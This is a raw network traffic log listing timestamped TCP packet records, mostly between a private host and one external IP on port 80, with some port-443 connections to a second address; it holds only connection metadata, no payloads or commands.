Nov 20, 2024 18:57:44.495368958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.495404959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.497351885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.497411013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.497447968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.497512102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.499485970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.499535084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.499598026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.499644995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.501712084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.501779079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.501859903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.501993895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.503787041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.503889084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.503937960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.505930901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.505997896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.506021023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.506057024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.508016109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.508063078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.508065939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.508099079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.510143995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.510190964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.510241985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.510279894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.512242079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.512320042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.512373924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.512460947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.514405012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.514501095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.514558077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.516571999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.516613960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.516621113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.516647100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.518666983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.518744946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.518790007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.520767927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.520838976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.520873070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.520910025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.522917032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.522928953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.522994041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.525048018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.525062084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.525127888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.527220964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.527282000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.527292013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.527333975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.529762030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.529783964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.529812098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.529828072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.531708002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.531718016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.531753063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.531769991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.533551931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.533626080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.533659935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.533695936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.535749912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.535793066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.535835028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.535881042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.537941933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.537987947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.538048029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.540010929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.540059090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.540133953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.540229082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.542064905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.542196989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.542244911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.544254065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.544296026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.544300079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.544338942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.546356916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.546389103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.546428919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.546464920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.549071074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.549083948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.549146891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.550642014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.550702095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.550712109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.550734997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.552774906 CET	443	49829	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.552834988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.552856922 CET	443	49829	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.552907944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.552908897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.552932024 CET	49829	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.552953959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.554963112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.554975986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.555015087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.555030107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.556988001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.557066917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.558083057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.558166981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.558232069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.558232069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.560190916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.560244083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.560303926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.560431004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.579866886 CET	443	49828	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.580212116 CET	443	49828	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.580281973 CET	49828	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.582703114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.582725048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.582758904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.582804918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.583566904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.583641052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.583673000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.583698034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.585771084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.585832119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.585850000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.585886002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.587842941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.587901115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.587915897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.587963104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.589224100 CET	49829	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.589262962 CET	443	49829	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.589282036 CET	49829	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.589289904 CET	443	49829	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.589979887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.590049982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.590078115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.590116024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.592207909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.592256069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.592259884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.592295885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.592896938 CET	49828	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.592912912 CET	443	49828	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.614490986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.614573956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.614741087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.614761114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.614803076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.616751909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.616797924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.616852999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.618881941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.618937016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.618949890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.618990898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.621098042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.621119022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.621182919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.621182919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.623158932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.623250008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.623256922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.623291969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.625391960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.625448942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.625480890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.625518084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.627520084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.627585888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.627619982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.627665043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.629642963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.629720926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.629730940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.629765034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.631700993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.631809950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.631855965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.644624949 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.644668102 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.644722939 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.645418882 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.645431995 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.646698952 CET	49857	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.646756887 CET	443	49857	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.646823883 CET	49857	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.646945000 CET	49857	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.646961927 CET	443	49857	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.650566101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.650583982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.650626898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.650664091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.651442051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.651519060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.651556015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.651596069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.653692961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.653768063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.653856993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.653975964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.655757904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.655832052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.655858994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.655893087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.658011913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.658087969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.658122063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.658159018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.660005093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.660041094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.660060883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.660089016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.662071943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.662131071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.662233114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.662285089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.664228916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.664314985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.664360046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.666316032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.666361094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.666423082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.666460991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.668729067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.668777943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.668783903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.668819904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.670578957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.670649052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.670758009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.670798063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.672712088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.672821045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.672872066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.672909021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.674844980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.674901009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.674943924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.674984932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.676893950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.676958084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.676999092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.677033901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.678812027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.678869963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.678905964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.678958893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.680670023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.680738926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.680778980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.680818081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.682646036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.682710886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.682761908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.682950974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.684475899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.684587955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.684617043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.684634924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.686343908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.686427116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.686460972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.686494112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.688281059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.688332081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.688399076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.688442945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.690221071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.690234900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.690298080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.690326929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.692082882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.692148924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.692157984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.692194939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.694029093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.694103003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.694116116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.694152117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.695867062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.695936918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.695950031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.695975065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.697705984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.697762012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.697882891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.697988987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.699594975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.699644089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.699718952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.699922085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.701467037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.701509953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.701560020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.701622963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.703483105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.703502893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.703557014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.703579903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.705296993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.705359936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.705385923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.705465078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.707191944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.707248926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.707300901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.709043980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.709110022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.709151983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.709197998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.710964918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.711014032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.711023092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.711061954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.712827921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.712879896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.712934971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.712990999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.713746071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.713758945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.713797092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.713821888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.714603901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.714674950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.714812040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.715169907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.715495110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.715548038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.715619087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.715714931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.716362953 CET	80	49794	185.215.113.206	192.168.2.6
